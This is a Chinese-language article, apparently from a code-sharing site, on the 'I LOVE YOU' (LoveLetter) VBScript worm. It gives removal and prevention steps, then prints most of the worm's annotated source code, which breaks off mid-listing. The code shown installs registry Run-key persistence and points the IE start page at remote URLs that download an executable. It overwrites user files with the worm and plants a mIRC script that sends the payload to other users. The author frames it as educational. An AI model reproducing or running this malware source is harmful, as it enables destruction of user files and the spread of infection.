📄 “i love you”病毒原理 .txt
字号:
“I LOVE YOU”病毒是用vbscript写出来的以通过email散布的病毒(这点同梅丽莎相似)。
潜伏与发作
所有一切都发生在你打开邮件的附件--该脚本运行,将自身拷贝到
$windir/Win32DLL.vbs ($windir = c:\windows on most windows systems)
$systemdir/MSKernel32.vbs ($systemdir = c:\windows\system)
$windir/LOVE-LETTER-FOR-YOU.TXT.vbs
然后将这些文件加载到注册表中以便在启动时自动运行。
然后它将改变默认的ie浏览页面--通过该页面你会下载一个可执行的代码--下载完毕后它会将其加入注册表而且把IE的默认浏览页面再改回about:bland。
接下来它就开始往你地址薄里的邮件地址发送信件了--扫描你的硬盘及网络共享硬盘,寻找后缀为:
Vbs, vbe, js, jse, css, wsh, sct, hta, vbs, jpg, jpeg
所有这些文件将变改成这个病毒,而且当它发现mp2或者mp3格式的文件时,会将自身拷贝到同样目录下的一个 vbs script中、当找到mIRC时也将建立一个小的mIRC script--可以发送html页面--这样就可以对所有加入所在频道的所有用户发送html并感染他们的IE。
执行
会将你的共享密码及IP地址通过email发送给作者。
解决
打开你的注册表编辑工具并且删除下列键值:
HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\MSKernel32
HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\RunServer\Win32DLL
HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\WIN_BUGSF IX
查找一个叫WIN-BUGFIX.exe的文件并删除它,删除文件$dirsystem\LOVE-LETTER-FOR-YOU.HTM
检查所有后缀为Vbs, vbe, js, jse, css, wsh, sct, hta, vbs, jpg, jpeg的文件,看是否已被感染,如果是的话就删除它们。
如果安装了mIRC的话删除你的script.ini文件。
删除所有相关的email,或许还需要警告你的朋友们,收到相关信件时要小心 )
预防
不要打开任何你有疑惑的文件--如果你没把握的话:) 也可以关掉所有的脚本:(
说明。发表这篇文章的目的在于让各位了解Love Letter, 并且有效地予以预防。如果版主认为本文章可能被坏人利用,请予以删除。程序中的中文注释为作者所加,并针对病毒特点予以解释,同时,给出了预防病毒的方法。Love Letter写的并不是十分的棒,但是它使用的不少技术确实令人赞叹,病毒作者也许没有受过专业的编程训练,但是从选择的程序资源来看,确实下了一番功夫。
本病毒源码也可以用来回答VB爱好者的很多问题。
源程序
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注释:程序作者的签名(可能)
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大
' 从病毒使用FSO可以知道,通过修改注册表,可以轻易防止 Love Letter发作。
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
' 注释 - 程序初始化完成。
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
g Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
' 注释 - 防止操作超时造成的程序终止。
' 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程
者借鉴。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 获取系统关键文件夹的名称
' VB编程时可以用。
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
' 复制自身到关键目录中备用。
' 文件名并不是很好。太容易被发现了。
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
' 修改注册表,以便自动装载病毒程序
' 预防:经常检查注册表中的这一分支。
' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进,
' 因为它不会因为语言问题而失效。
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
\Start Page","about:blank"
end if
end sub
sub listadriv
' 遍历所有驱动器。
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
' 执行传染文件的操作。
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext=
"sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri
pt.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corru
pt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。
' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不
少。
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO
R-YOU.HTM"
scriptini.WriteLine "n3=}"
' 注意,这样做的结果是,MIRC也能够传染病毒。
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -